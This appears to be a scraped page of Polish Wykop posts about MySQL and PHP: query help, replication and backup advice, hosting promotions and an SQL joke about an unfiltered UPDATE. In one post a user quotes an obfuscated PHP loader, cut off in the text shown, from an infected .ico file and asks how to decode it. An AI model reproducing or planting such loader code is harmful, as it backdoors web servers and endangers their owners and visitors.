WHERE działa na kolumnach źródłowych z tabeli. "wynik" do nich nie należy.
Jeśli chcesz na koniec sprawdzić taką własność, zamień WHERE na HAVING.
  • Odpowiedz
5 Urodziny SOHOST®

Dokładnie 17.03.2017 roku wystartowała nasza usługa!
Z tej okazji przygotowaliśmy specjalny kod rabatowy ważny do 20 marca!

Z kodem 5URODZINY hosting aż 55% taniej!
  • 24
  • Odpowiedz
  • Otrzymuj powiadomienia
    o nowych komentarzach

@sohost: wszystkiego najlepszego spóźnione. Jesteście moim ulubionym hostingodawcą i sprzedawcą domen ( ͡° ͜ʖ ͡°). Nie dajcie się wykupić cyberfolksowi czy innym molochom. Znajomi musieli wycofać się z cyberfolksa po otrzymaniu faktur.
  • Odpowiedz
@airflame: Jeszcze tak dla pewności wyświetl sobie to, co siedzi w $query. Następnie otwórz phpmyadmina, wybierz odpowiednią bazę, wejdź w zakładkę sql i wklej to zapytanie. Następnie dopisz na samym początku "explain" i każ mysqlowi pokazać wynik. Jeśli jest gdzieś ALL i duża liczba rekordów, to warto poprawić także strukturę tabel.
  • Odpowiedz
mireczki kochane, mam sobie produkcyjną bazę danych i będe ją dzisiaj przenosić na nową maszynę. chcę w końcu odpalić replikację. nowa maszyna będzie masterem, a stara slavem. jak to najlepiej ogarnąć?
jak rozumiem robię dump do sql, wtedy import na nowej maszynie i dopiero wtedy włączam replikację?

#mysql #bazydanych
  • 1
  • Odpowiedz
  • Otrzymuj powiadomienia
    o nowych komentarzach

@biauek_jak_mogles: Mniej więcej. W my.cnf ustawiasz id dla serwerów. A po imporcie podajesz krok od którego slave ma zacząć replikację. I upewnij się, że slave będzie mieć dostęp do mastera, jeśli jest fizycznie na innej maszynie.
  • Odpowiedz
@FrankLucas92: aktualizuje się pod względem silnika wykonującego zapytania, ale użycie tej wiedzy to poziom zaawansowany, gdy już zaczynasz optymalizować zapytania. Pojawiają się też nowe polecenia, np. w SQL Server 2017 pojawiło się STRING_AGG, a wcześniej trzeba było cudować poprzez STUFF i FOR XML PATH.
  • Odpowiedz
Mirasy, pierwszy raz od wielu, wielu lat w-----ł mi się mysql. W jednej z tabel dostałem info "corrupted records" czy coś w tym stylu. A backup przez tydzień robił dump uszkodzonej bazy.

I teraz parafrazując klasyka - ludzie dzielą się na tych co weryfikują poprawność backupów i na tych którzy będą weryfikować.

Pytanie - jak weryfikujecie poprawność wykonanych backupów (chodzi oczywiście o automatyzację) - Ansible wydaje się naturalnym krokiem, tylko czy da
  • 3
  • Odpowiedz
  • Otrzymuj powiadomienia
    o nowych komentarzach

@brightit: W przypadku Oracle mieliśmy corrupted record na środowisku UAT 3 razy w ciągu 3 miesięcy w mojej 10 letniej historii. Za każdym jednym razem próba odczytu tego wiersza powodowała uwalenie całej bazy.

Identyfikacja wymagała zapięcia płatnego serwisu Oracle, który po 2-3 dniach (UAT env) przychodził i mówił, który wiersz należy zdropować.

Po tych 3 razach dostaliśmy patch i problem więcej się nie
  • Odpowiedz
Redis w sohost®

Dzisiaj tj. 04.03.22 roku do pakietów SO10, SO25, SO50 oraz SO100 wprowadziliśmy Redis.

Redis jest dostępny jedynie nowo zamówionych kontach hostingowych.
Dla Klientów, którzy posiadali hosting www przed 04.03.2022 roku i chcieliby skorzystać z Redis oferujemy darmową
  • 6
  • Odpowiedz
  • Otrzymuj powiadomienia
    o nowych komentarzach

#php #hacking #pytanie #mysql

Jak to zdekodować zainfekowany plik ico

$_7aj9y4i = basename/*9sb3*/(/*ua*/trim/*jud9*/(/*5sw*/preg_replace/*bm4*/(/*4*/rawurldecode/*81o*/(/*a*/"%2F%5C%28.%2A%24%2F"/*x*/)/*d*/, '', __FILE__/*g*/)/*qalfr*//*jl2*/)/*o*//*k*/)/*zyb*/;$_kezcm4 = "G%04D%1E%10W%5D%07%08%40%0C%07G%09%11%10DTRU%3E%02A%07%17%0AV%16%3BUCVY%15%04%0ENJF%24%19nRTUQ%0F%04%06N%10%1B%5C%07%05%5BnPW%0F%15K%11%170M%10%01WEV%18FM%0EXJT%24%22%0DXXlK%04%15%06N%06%1D%5C%0D%16i%5D%5C_FM%0E%276%23bK_vX%5DQ%3E%12K%1DKHB%0D%03iTAJ%0E%13%5DNOO%1EK_vX%5DQ%3E%12K%1DKHC%03%1CiTK%5D%02%14Z%00%0C%01q%16%0D%5BT%14%14AQ..
.
  • 16
  • Odpowiedz
  • Otrzymuj powiadomienia
    o nowych komentarzach

#mysql #pytanie #php

Proszę o pomoc kogoś kto ogarnie ten syf :)
Jak wczytać z tabeli "userid" tylko ID o numerach 27 i 65 ?

$query = "select c.name,sum(a.dayturnover),b.turnover,sum(a.dayenters),sum(a.daybills),b.efficiency,b.enters,b.workdays,count(a.id),c.id,b.asort1,b.asort2,b.asort3,b.asort4,b.asort5,b.asort6,sum(a.asort1),sum(a.asort2),sum(a.asort3),sum(a.asort4),sum(a.asort5),sum(a.asort6)
  • 10
  • Odpowiedz
  • Otrzymuj powiadomienia
    o nowych komentarzach

Aktualizacja oferty w sohost® (ʘʘ)
W związku ze zbliżającym się 5 urodzinami sohost® postawiliśmy zmienić troszkę naszą ofertę.

Z najważniejszych zmian:
Zmiana pakietów z SO20 NVMe -> SO25 NVMe i SO40 NVMe -> SO50 NVMe oraz dodanie pakietu SO100 NVMe do standardowej oferty.
(Klienci, którzy mieli wykupiony hosting również otrzymali dodatkową
  • 4
  • Odpowiedz
  • Otrzymuj powiadomienia
    o nowych komentarzach

UPDATE bigfuckingimportant_table SET pesel = ''

Error Code: 1175. You are using safe update mode and you tried to update a table without a WHERE that uses a KEY column. To disable safe mode, toggle the option in Preferences -> SQL Editor and reconnect.


#sql #mysql #workbench #pracbaza #januszex #homeoffice
TavarishPiesov - > UPDATE bigfuckingimportant_table SET pesel = '' 

 Error Code: 11...

źródło: comment_1644581442CsZqyGKsZTdEqZWUQldWLE.jpg

Pobierz
  • 13
  • Odpowiedz
  • Otrzymuj powiadomienia
    o nowych komentarzach

via Wykop Mobilny (Android)
  • 20
@janek_: Panie, nie będę się przez środowiska przebijał żeby jeden wiersz zmienić, zawsze są backupy ( )
A jak nie ma to nie moja wina ( ͡ ͜ʖ ͡)
  • Odpowiedz
Treść przeznaczona dla osób powyżej 18 roku życia...
  • 16
  • Odpowiedz
  • Otrzymuj powiadomienia
    o nowych komentarzach

Istnieje taka funkcja, która rozdzieli mi wartość komórki(ciąg znaków rozdzielony kropkami) i jednocześnie sam sobie znajdzie odpowiedni index, pod którym znajduje się wartość którą chcę? Coś jak połączenie SUBSTRING_INDEX z LOCATE

powiedzmy podaje mu ciag 'DDD.JP2137.XDXDXD' i on sam sobie wyciąnie to JP2137. Tak samo jak w przypadku, gdzy wartość komórki to będzie 'JP911.DDD.XDXD' ma wyciągnąć to JP911
#sql #mysql
  • 7
  • Odpowiedz
  • Otrzymuj powiadomienia
    o nowych komentarzach